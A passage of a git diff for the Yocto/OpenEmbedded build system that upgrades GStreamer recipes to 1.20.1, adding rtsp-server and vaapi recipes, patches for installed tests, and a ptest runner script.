- # This m4 file is out of date and is missing PKG_CONFIG_SYSROOT_PATH tweaks which we need for introspection
- rm "${S}/common/m4/pkg.m4" || true
-}
-
-do_configure[prefuncs] += " delete_pkg_m4_file"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.20.1.bb
new file mode 100644
index 0000000000..90d788ab80
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.20.1.bb
@@ -0,0 +1,31 @@
+SUMMARY = "A library on top of GStreamer for building an RTSP server"
+HOMEPAGE = "http://cgit.freedesktop.org/gstreamer/gst-rtsp-server/"
+SECTION = "multimedia"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base"
+
+PNREAL = "gst-rtsp-server"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${PNREAL}/${PNREAL}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "4745bc528ad7de711a41d576ddce7412266e66d05c4cfcc636c9ba4da5521509"
+
+S = "${WORKDIR}/${PNREAL}-${PV}"
+
+inherit meson pkgconfig upstream-version-is-even gobject-introspection
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Dtests=disabled \
+"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+# Starting with 1.8.0 gst-rtsp-server includes dependency-less plugins as well
+require gstreamer1.0-plugins-packaging.inc
+
+CVE_PRODUCT += "gst-rtsp-server"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-gst-vaapi-Makefile.am-Add-EGL_CFLAGS-to-libgstvaapi-.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-gst-vaapi-Makefile.am-Add-EGL_CFLAGS-to-libgstvaapi-.patch
deleted file mode 100644
index d7b8984953..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-gst-vaapi-Makefile.am-Add-EGL_CFLAGS-to-libgstvaapi-.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 5403a89e6a7ac72a23e0221075c0c19b5f85a021 Mon Sep 17 00:00:00 2001
-From: Fabio Berton <fabio.berton@ossystems.com.br>
-Date: Wed, 13 Jun 2018 09:09:25 -0300
-Subject: [PATCH] gst/vaapi/Makefile.am: Add EGL_CFLAGS to libgstvaapi CFLAGS
-Organization: O.S. Systems Software LTDA.
-
-We need this to pass correctly EGL CFLAGS when building with EGL support.
-
-Upstream-Status: Pending
-
-Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
----
- gst/vaapi/Makefile.am | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/gst/vaapi/Makefile.am b/gst/vaapi/Makefile.am
-index b299ac98..d6cab71f 100644
---- a/gst/vaapi/Makefile.am
-+++ b/gst/vaapi/Makefile.am
-@@ -24,6 +24,10 @@ libgstvaapi_LIBS += $(top_builddir)/gst-libs/gst/vaapi/libgstvaapi-glx.la
- endif
-
- if USE_EGL
-+libgstvaapi_CFLAGS += \
-+ $(EGL_CFLAGS) \
-+ $(NULL)
-+
- libgstvaapi_LIBS += $(top_builddir)/gst-libs/gst/vaapi/libgstvaapi-egl.la
- endif
-
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch
deleted file mode 100644
index 7945a923c9..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi/0001-vaapsink-downgrade-to-marginal.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 0c28cf7bfa90f8947833722cddf23d513490c6c3 Mon Sep 17 00:00:00 2001
-From: Anuj Mittal <anuj.mittal@intel.com>
-Date: Wed, 28 Nov 2018 15:08:48 +0800
-Subject: [PATCH] vaapsink: downgrade to marginal
-
-Using vaapisink with default poky configuration results in an
-unresponsive display as of today because DRI2 rendering is currently broken
-in non composited environments [1] and libva doesn't support DRI3 [2].
-
-Downgrade vaapisink to marginal for now so playbin (and in turn gst-play
-and gtk-play examples) use xvimagesink or others out of box.
-
-[1] https://gitlab.freedesktop.org/xorg/xserver/issues/13
-[2] https://github.com/intel/libva/issues/122
-
-Upstream-Status: Pending
-
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- gst/vaapi/gstvaapi.c | 6 +-----
- 1 file changed, 1 insertion(+), 5 deletions(-)
-
-diff --git a/gst/vaapi/gstvaapi.c b/gst/vaapi/gstvaapi.c
-index 9a82454..4d94f2b 100644
---- a/gst/vaapi/gstvaapi.c
-+++ b/gst/vaapi/gstvaapi.c
-@@ -195,7 +195,6 @@ plugin_init (GstPlugin * plugin)
- {
- GstVaapiDisplay *display;
- GArray *decoders;
-- guint rank;
-
- plugin_add_dependencies (plugin);
-
-@@ -220,10 +219,7 @@ plugin_init (GstPlugin * plugin)
- gst_element_register (plugin, "vaapidecodebin",
- GST_RANK_PRIMARY + 2, GST_TYPE_VAAPI_DECODE_BIN);
-
-- rank = GST_RANK_PRIMARY;
-- if (g_getenv ("WAYLAND_DISPLAY"))
-- rank = GST_RANK_MARGINAL;
-- gst_element_register (plugin, "vaapisink", rank, GST_TYPE_VAAPISINK);
-+ gst_element_register (plugin, "vaapisink", GST_RANK_MARGINAL, GST_TYPE_VAAPISINK);
-
- #if USE_ENCODERS
- gst_vaapiencode_register (plugin, display);
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.1.bb
deleted file mode 100644
index 61cf705fd8..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.16.1.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "VA-API support to GStreamer"
-DESCRIPTION = "gstreamer-vaapi consists of a collection of VA-API \
-based plugins for GStreamer and helper libraries: `vaapidecode', \
-`vaapiconvert', and `vaapisink'."
-
-REALPN = "gstreamer-vaapi"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/${REALPN}/${REALPN}-${PV}.tar.xz \
- file://0001-gst-vaapi-Makefile.am-Add-EGL_CFLAGS-to-libgstvaapi-.patch \
- file://0001-vaapsink-downgrade-to-marginal.patch \
- "
-
-SRC_URI[md5sum] = "15b08f76777359d87b0b4a561db05f1f"
-SRC_URI[sha256sum] = "cb570f6f1e78cb364fbe3c4fb8751824ee9db0c942ba61b62380b9b5abb7603a"
-
-S = "${WORKDIR}/${REALPN}-${PV}"
-DEPENDS = "libva gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
-
-inherit autotools pkgconfig gtk-doc distro_features_check upstream-version-is-even
-
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-PACKAGES =+ "${PN}-tests"
-
-# OpenGL packageconfig factored out to make it easy for distros
-# and BSP layers to pick either glx, egl, or no GL. By default,
-# try detecting X11 first, and if found (with OpenGL), use GLX,
-# otherwise try to check if EGL can be used.
-PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', \
- bb.utils.contains('DISTRO_FEATURES', 'opengl', 'egl', \
- '', d), d)}"
-
-PACKAGECONFIG ??= "drm \
- ${PACKAGECONFIG_GL} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[drm] = "--enable-drm,--disable-drm,udev libdrm"
-PACKAGECONFIG[egl] = "--enable-egl,--disable-egl,virtual/egl"
-PACKAGECONFIG[glx] = "--enable-glx,--disable-glx,virtual/libgl"
-PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,wayland-native wayland wayland-protocols"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11 libxrandr libxrender"
-
-FILES_${PN} += "${libdir}/gstreamer-*/*.so"
-FILES_${PN}-dbg += "${libdir}/gstreamer-*/.debug"
-FILES_${PN}-dev += "${libdir}/gstreamer-*/*.la ${libdir}/gstreamer-*/*.a"
-FILES_${PN}-tests = "${bindir}/*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.20.1.bb
new file mode 100644
index 0000000000..48b571f563
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.20.1.bb
@@ -0,0 +1,53 @@
+SUMMARY = "VA-API support to GStreamer"
+HOMEPAGE = "https://gstreamer.freedesktop.org/"
+DESCRIPTION = "gstreamer-vaapi consists of a collection of VA-API \
+based plugins for GStreamer and helper libraries: `vaapidecode', \
+`vaapiconvert', and `vaapisink'."
+
+REALPN = "gstreamer-vaapi"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/${REALPN}/${REALPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "87fbf6c537af9079c99a9aefe951da119e16e5bcc9cc8614f5035f062bf21137"
+
+S = "${WORKDIR}/${REALPN}-${PV}"
+DEPENDS = "libva gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad"
+
+inherit meson pkgconfig features_check upstream-version-is-even
+
+REQUIRED_DISTRO_FEATURES ?= "opengl"
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Dtests=enabled \
+"
+
+PACKAGES =+ "${PN}-tests"
+
+# OpenGL packageconfig factored out to make it easy for distros
+# and BSP layers to pick either glx, egl, or no GL. By default,
+# try detecting X11 first, and if found (with OpenGL), use GLX,
+# otherwise try to check if EGL can be used.
+PACKAGECONFIG_GL ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', \
+ bb.utils.contains('DISTRO_FEATURES', 'opengl', 'egl', \
+ '', d), d)}"
+
+PACKAGECONFIG ??= "drm encoders \
+ ${PACKAGECONFIG_GL} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[drm] = "-Dwith_drm=yes,-Dwith_drm=no,udev libdrm"
+PACKAGECONFIG[egl] = "-Dwith_egl=yes,-Dwith_egl=no,virtual/egl"
+PACKAGECONFIG[encoders] = "-Dwith_encoders=yes,-Dwith_encoders=no"
+PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/libgl"
+PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland wayland-protocols"
+PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxrandr libxrender"
+
+FILES:${PN} += "${libdir}/gstreamer-*/*.so"
+FILES:${PN}-dbg += "${libdir}/gstreamer-*/.debug"
+FILES:${PN}-dev += "${libdir}/gstreamer-*/*.a"
+FILES:${PN}-tests = "${bindir}/*"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch
new file mode 100644
index 0000000000..312c04fbfd
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0001-tests-respect-the-idententaion-used-in-meson.patch
@@ -0,0 +1,36 @@
+From 1eb77a4ea5a3967c688d8f1192f99c605badc7e2 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 11 Apr 2021 19:48:13 +0100
+Subject: [PATCH 1/4] tests: respect the idententaion used in meson
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ subprojects/gstreamer/tests/check/meson.build | 10 +++++-----
+ 1 file changed, 5 insertions(+), 5 deletions(-)
+
+diff --git a/subprojects/gstreamer/tests/check/meson.build b/subprojects/gstreamer/tests/check/meson.build
+index 9c4228b6e4..506606684d 100644
+--- a/subprojects/gstreamer/tests/check/meson.build
++++ b/subprojects/gstreamer/tests/check/meson.build
+@@ -146,11 +146,11 @@ foreach t : core_tests
+
+ if not skip_test
+ exe = executable(test_name, fname,
+- c_args : gst_c_args + test_defines,
+- cpp_args : gst_c_args + test_defines,
+- include_directories : [configinc],
+- link_with : link_with_libs,
+- dependencies : test_deps + glib_deps + gst_deps,
++ c_args : gst_c_args + test_defines,
++ cpp_args : gst_c_args + test_defines,
++ include_directories : [configinc],
++ link_with : link_with_libs,
++ dependencies : test_deps + glib_deps + gst_deps,
+ )
+
+ env = environment()
+--
+2.33.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch
new file mode 100644
index 0000000000..d18c19c397
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0002-tests-add-support-for-install-the-tests.patch
@@ -0,0 +1,109 @@
+From 62f5bb7bfc2498219df7280e73480d8ed2378ce5 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 11 Apr 2021 19:48:13 +0100
+Subject: [PATCH 2/4] tests: add support for install the tests
+
+This will provide to run the tests using the gnome-desktop-testing [1]
+
+[1] https://wiki.gnome.org/Initiatives/GnomeGoals/InstalledTests
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ subprojects/gstreamer/meson.build | 4 ++++
+ subprojects/gstreamer/meson_options.txt | 1 +
+ subprojects/gstreamer/tests/check/meson.build | 22 ++++++++++++++++++-
+ .../gstreamer/tests/check/template.test.in | 3 +++
+ 4 files changed, 29 insertions(+), 1 deletion(-)
+ create mode 100644 subprojects/gstreamer/tests/check/template.test.in
+
+diff --git a/subprojects/gstreamer/meson.build b/subprojects/gstreamer/meson.build
+index d20fe0040f..b595d8f990 100644
+--- a/subprojects/gstreamer/meson.build
++++ b/subprojects/gstreamer/meson.build
+@@ -562,6 +562,10 @@ if bashcomp_dep.found()
+ endif
+ endif
+
++installed_tests_enabled = get_option('installed_tests')
++installed_tests_metadir = join_paths(datadir, 'installed-tests', meson.project_name())
++installed_tests_execdir = join_paths(libexecdir, 'installed-tests', meson.project_name())
++
+ plugins_install_dir = join_paths(get_option('libdir'), 'gstreamer-1.0')
+
+ pkgconfig = import('pkgconfig')
+diff --git a/subprojects/gstreamer/meson_options.txt b/subprojects/gstreamer/meson_options.txt
+index 7363bdb7a1..a34ba37dad 100644
+--- a/subprojects/gstreamer/meson_options.txt
++++ b/subprojects/gstreamer/meson_options.txt
+@@ -15,6 +15,7 @@ option('poisoning', type : 'boolean', value : false, description : 'Enable poiso
+ option('memory-alignment', type: 'combo',
+ choices : ['1', '2', '4', '8', '16', '32', '64', '128', '256', '512', '1024', '2048', '4096', '8192', 'malloc', 'pagesize'],
+ value: 'malloc')
++option('installed_tests', type : 'boolean', value : false, description : 'Enable installed tests')
+
+ # Feature options
+ option('check', type : 'feature', value : 'auto', description : 'Build unit test libraries')
+diff --git a/subprojects/gstreamer/tests/check/meson.build b/subprojects/gstreamer/tests/check/meson.build
+index 506606684d..00a138a568 100644
+--- a/subprojects/gstreamer/tests/check/meson.build
++++ b/subprojects/gstreamer/tests/check/meson.build
+@@ -124,10 +124,16 @@ test_defines = [
+ '-UG_DISABLE_ASSERT',
+ '-UG_DISABLE_CAST_CHECKS',
+ '-DGST_CHECK_TEST_ENVIRONMENT_BEACON="GST_STATE_IGNORE_ELEMENTS"',
+- '-DTESTFILE="' + meson.current_source_dir() + '/meson.build"',
+ '-DGST_DISABLE_DEPRECATED',
+ ]
+
++testfile = meson.current_source_dir() + '/meson.build'
++if installed_tests_enabled
++ install_data(testfile, install_dir : installed_tests_metadir, rename : 'testfile')
++ testfile = installed_tests_metadir + '/testfile'
++endif
++test_defines += '-DTESTFILE="@0@"'.format(testfile)
++
+ # sanity checking
+ if get_option('check').disabled()
+ if get_option('tests').enabled()
+@@ -151,6 +157,8 @@ foreach t : core_tests
+ include_directories : [configinc],
+ link_with : link_with_libs,
+ dependencies : test_deps + glib_deps + gst_deps,
++ install_dir: installed_tests_execdir,
++ install: installed_tests_enabled,
+ )
+
+ env = environment()
+@@ -162,6 +170,18 @@ foreach t : core_tests
+ env.set('GST_PLUGIN_SCANNER_1_0', gst_scanner_dir + '/gst-plugin-scanner')
+ env.set('GST_PLUGIN_LOADING_WHITELIST', 'gstreamer')
+
++ if installed_tests_enabled
++ test_conf = configuration_data()
++ test_conf.set('installed_tests_dir', join_paths(prefix, installed_tests_execdir))
++ test_conf.set('program', test_name)
++ configure_file(
++ input: 'template.test.in',
++ output: test_name + '.test',
++ install_dir: installed_tests_metadir,
++ configuration: test_conf
++ )
++ endif
++
+ test(test_name, exe, env: env, timeout : 3 * 60)
+ endif
+ endforeach
+diff --git a/subprojects/gstreamer/tests/check/template.test.in b/subprojects/gstreamer/tests/check/template.test.in
+new file mode 100644
+index 0000000000..f701627f87
+--- /dev/null
++++ b/subprojects/gstreamer/tests/check/template.test.in
+@@ -0,0 +1,3 @@
++[Test]
++Type=session
++Exec=@installed_tests_dir@/@program@
+--
+2.33.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch
new file mode 100644
index 0000000000..10a6dcc619
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0003-tests-use-a-dictionaries-for-environment.patch
@@ -0,0 +1,50 @@
+From fe830f0f75f3b4b41e3dbef8d4cf6ee4103c9e06 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 24 Apr 2021 10:34:47 +0100
+Subject: [PATCH 3/4] tests: use a dictionaries for environment
+
+meson environment() can't be passed to configure_file and it is needed for installed_tests,
+use a dictionary as this is simplest solution to install the environment.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ subprojects/gstreamer/tests/check/meson.build | 21 ++++++++++++-------
+ 1 file changed, 13 insertions(+), 8 deletions(-)
+
+diff --git a/subprojects/gstreamer/tests/check/meson.build b/subprojects/gstreamer/tests/check/meson.build
+index 00a138a568..48ec2532f8 100644
+--- a/subprojects/gstreamer/tests/check/meson.build
++++ b/subprojects/gstreamer/tests/check/meson.build
+@@ -161,14 +161,19 @@ foreach t : core_tests
+ install: installed_tests_enabled,
+ )
+
+- env = environment()
+- env.set('GST_PLUGIN_PATH_1_0', meson.project_build_root())
+- env.set('GST_PLUGIN_SYSTEM_PATH_1_0', '')
+- env.set('GST_STATE_IGNORE_ELEMENTS', '')
+- env.set('CK_DEFAULT_TIMEOUT', '20')
+- env.set('GST_REGISTRY', '@0@/@1@.registry'.format(meson.current_build_dir(), test_name))
+- env.set('GST_PLUGIN_SCANNER_1_0', gst_scanner_dir + '/gst-plugin-scanner')
+- env.set('GST_PLUGIN_LOADING_WHITELIST', 'gstreamer')
++ # meson environment object can't be passed to configure_file and
++ # installed tests uses configure_file to install the environment.
++ # use a dictionary as this is the simplest solution
++ # to install the environment.
++ env = {
++ 'GST_PLUGIN_PATH_1_0': meson.project_build_root(),
++ 'GST_PLUGIN_SYSTEM_PATH_1_0': '',
++ 'GST_STATE_IGNORE_ELEMENTS': '',
++ 'CK_DEFAULT_TIMEOUT': '20',
++ 'GST_REGISTRY': '@0@/@1@.registry'.format(meson.current_build_dir(), test_name),
++ 'GST_PLUGIN_SCANNER_1_0': gst_scanner_dir + '/gst-plugin-scanner',
++ 'GST_PLUGIN_LOADING_WHITELIST': 'gstreamer',
++ }
+
+ if installed_tests_enabled
+ test_conf = configuration_data()
+--
+2.33.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch
new file mode 100644
index 0000000000..efa004f8ce
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0004-tests-add-helper-script-to-run-the-installed_tests.patch
@@ -0,0 +1,74 @@
+From 4dcbabebca2ad6f1fdd59ee35a858082e87db7b6 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 2 May 2021 01:58:01 +0100
+Subject: [PATCH 4/4] tests: add helper script to run the installed_tests
+
+- this is a bash script that will run the installed_tests
+with some of the environment variables used in the meson
+testing framework.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ subprojects/gstreamer/tests/check/meson.build | 17 +++++++++++++++++
+ .../gstreamer/tests/check/template.sh.in | 9 +++++++++
+ .../gstreamer/tests/check/template.test.in | 2 +-
+ 3 files changed, 27 insertions(+), 1 deletion(-)
+ create mode 100755 subprojects/gstreamer/tests/check/template.sh.in
+
+diff --git a/subprojects/gstreamer/tests/check/meson.build b/subprojects/gstreamer/tests/check/meson.build
+index 48ec2532f8..7dc4990d4e 100644
+--- a/subprojects/gstreamer/tests/check/meson.build
++++ b/subprojects/gstreamer/tests/check/meson.build
+@@ -185,6 +185,23 @@ foreach t : core_tests
+ install_dir: installed_tests_metadir,
+ configuration: test_conf
+ )
++
++ # All the tests will be deployed on the target machine and
++ # we use the home folder ~ for the registry which will then expand at runtime.
++ # Using the /tmp/gstreamer-1.0/@0@.registry can be problematic as it mostly
++ # is mounted using tmpfs and if the machine crash from some reason we can lost the registry
++ # that is useful for debug propose of the tests itself.
++ env += {'GST_REGISTRY': '~/.cache/gstreamer-1.0/@0@.registry'.format(test_name)}
++
++ # Set the full path for the test it self.
++ env += {'TEST': '@0@/@1@'.format(join_paths(prefix, installed_tests_execdir), test_name)}
++
++ configure_file(
++ input : 'template.sh.in',
++ output: test_name + '.sh',
++ install_dir: installed_tests_execdir,
++ configuration : env,
++ )
+ endif
+
+ test(test_name, exe, env: env, timeout : 3 * 60)
+diff --git a/subprojects/gstreamer/tests/check/template.sh.in b/subprojects/gstreamer/tests/check/template.sh.in
+new file mode 100755
+index 0000000000..cf7d31b0ea
+--- /dev/null
++++ b/subprojects/gstreamer/tests/check/template.sh.in
+@@ -0,0 +1,9 @@
++#!/bin/sh
++
++set -ax
++
++CK_DEFAULT_TIMEOUT="@CK_DEFAULT_TIMEOUT@"
++GST_PLUGIN_LOADING_WHITELIST="@GST_PLUGIN_LOADING_WHITELIST@"
++GST_REGISTRY=@GST_REGISTRY@
++GST_STATE_IGNORE_ELEMENTS="@GST_STATE_IGNORE_ELEMENTS@"
++exec @TEST@
+diff --git a/subprojects/gstreamer/tests/check/template.test.in b/subprojects/gstreamer/tests/check/template.test.in
+index f701627f87..b74ef6ad73 100644
+--- a/subprojects/gstreamer/tests/check/template.test.in
++++ b/subprojects/gstreamer/tests/check/template.test.in
+@@ -1,3 +1,3 @@
+ [Test]
+ Type=session
+-Exec=@installed_tests_dir@/@program@
++Exec=@installed_tests_dir@/@program@.sh
+--
+2.33.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-remove-gstbin-test_watch_for_state_change-test.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-remove-gstbin-test_watch_for_state_change-test.patch
new file mode 100644
index 0000000000..f51df6d20b
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/0005-tests-remove-gstbin-test_watch_for_state_change-test.patch
@@ -0,0 +1,107 @@
+From b935abba3d8fa3ea1ce384c08e650afd8c20b78a Mon Sep 17 00:00:00 2001
+From: Claudius Heine <ch@denx.de>
+Date: Wed, 2 Feb 2022 13:47:02 +0100
+Subject: [PATCH] tests: remove gstbin:test_watch_for_state_change testcase
+
+This testcase seems to be flaky, and upstream marked it as such:
+https://gitlab.freedesktop.org/gstreamer/gstreamer/-/issues/778
+
+This patch removes the testcase to avoid it interfering with out ptest.
+
+Signed-off-by: Claudius Heine <ch@denx.de>
+
+Upstream-Status: Inappropriate [needs proper upstream fix]
+---
+ tests/check/gst/gstbin.c | 69 -------------------
+ 1 file changed, 69 deletions(-)
+
+diff --git a/tests/check/gst/gstbin.c b/tests/check/gst/gstbin.c
+index e366d5fe20..ac29d81474 100644
+--- a/tests/check/gst/gstbin.c
++++ b/tests/check/gst/gstbin.c
+@@ -691,74 +691,6 @@ GST_START_TEST (test_message_state_changed_children)
+
+ GST_END_TEST;
+
+-GST_START_TEST (test_watch_for_state_change)
+-{
+- GstElement *src, *sink, *bin;
+- GstBus *bus;
+- GstStateChangeReturn ret;
+-
+- bin = gst_element_factory_make ("bin", NULL);
+- fail_unless (bin != NULL, "Could not create bin");
+-
+- bus = g_object_new (gst_bus_get_type (), NULL);
+- gst_object_ref_sink (bus);
+- gst_element_set_bus (GST_ELEMENT_CAST (bin), bus);
+-
+- src = gst_element_factory_make ("fakesrc", NULL);
+- fail_if (src == NULL, "Could not create fakesrc");
+- sink = gst_element_factory_make ("fakesink", NULL);
+- fail_if (sink == NULL, "Could not create fakesink");
+-
+- gst_bin_add (GST_BIN (bin), sink);
+- gst_bin_add (GST_BIN (bin), src);
+-
+- fail_unless (gst_element_link (src, sink), "could not link src and sink");
+-
+- /* change state, spawning two times three messages */
+- ret = gst_element_set_state (GST_ELEMENT (bin), GST_STATE_PAUSED);
+- fail_unless (ret == GST_STATE_CHANGE_ASYNC);
+- ret =
+- gst_element_get_state (GST_ELEMENT (bin), NULL, NULL,
+- GST_CLOCK_TIME_NONE);
+- fail_unless (ret == GST_STATE_CHANGE_SUCCESS);
+-
+- pop_state_changed (bus, 6);
+- pop_async_done (bus);
+- pop_latency (bus);
+-
+- fail_unless (gst_bus_have_pending (bus) == FALSE,
+- "Unexpected messages on bus");
+-
+- ret = gst_element_set_state (GST_ELEMENT (bin), GST_STATE_PLAYING);
+- fail_unless (ret == GST_STATE_CHANGE_SUCCESS);
+-
+- pop_state_changed (bus, 3);
+-
+- /* this one might return either SUCCESS or ASYNC, likely SUCCESS */
+- ret = gst_element_set_state (GST_ELEMENT (bin), GST_STATE_PAUSED);
+- gst_element_get_state (GST_ELEMENT (bin), NULL, NULL, GST_CLOCK_TIME_NONE);
+-
+- pop_state_changed (bus, 3);
+- if (ret == GST_STATE_CHANGE_ASYNC) {
+- pop_async_done (bus);
+- pop_latency (bus);
+- }
+-
+- fail_unless (gst_bus_have_pending (bus) == FALSE,
+- "Unexpected messages on bus");
+-
+- gst_bus_set_flushing (bus, TRUE);
+-
+- ret = gst_element_set_state (GST_ELEMENT (bin), GST_STATE_NULL);
+- fail_unless (ret == GST_STATE_CHANGE_SUCCESS);
+-
+- /* clean up */
+- gst_object_unref (bus);
+- gst_object_unref (bin);
+-}
+-
+-GST_END_TEST;
+-
+ GST_START_TEST (test_state_change_error_message)
+ {
+ GstElement *src, *sink, *bin;
+@@ -1956,7 +1888,6 @@ gst_bin_suite (void)
+ tcase_add_test (tc_chain, test_message_state_changed);
+ tcase_add_test (tc_chain, test_message_state_changed_child);
+ tcase_add_test (tc_chain, test_message_state_changed_children);
+- tcase_add_test (tc_chain, test_watch_for_state_change);
+ tcase_add_test (tc_chain, test_state_change_error_message);
+ tcase_add_test (tc_chain, test_add_linked);
+ tcase_add_test (tc_chain, test_add_self);
+--
+2.33.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest b/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest
new file mode 100755
index 0000000000..0cfa955f03
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest
@@ -0,0 +1,2 @@
+#!/usr/bin/env sh
+gnome-desktop-testing-runner gstreamer
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.1.bb
deleted file mode 100644
index ff92f63bac..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.1.bb
+++ /dev/null
@@ -1,91 +0,0 @@
-SUMMARY = "GStreamer 1.0 multimedia framework"
-DESCRIPTION = "GStreamer is a multimedia framework for encoding and decoding video and sound. \
-It supports a wide range of formats including mp3, ogg, avi, mpeg and quicktime."
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
-SECTION = "multimedia"
-LICENSE = "LGPLv2+"
-
-DEPENDS = "glib-2.0 glib-2.0-native libcap libxml2 bison-native flex-native"
-
-inherit autotools pkgconfig gettext upstream-version-is-even gobject-introspection gtk-doc ptest
-
-# This way common/m4/introspection.m4 will come first
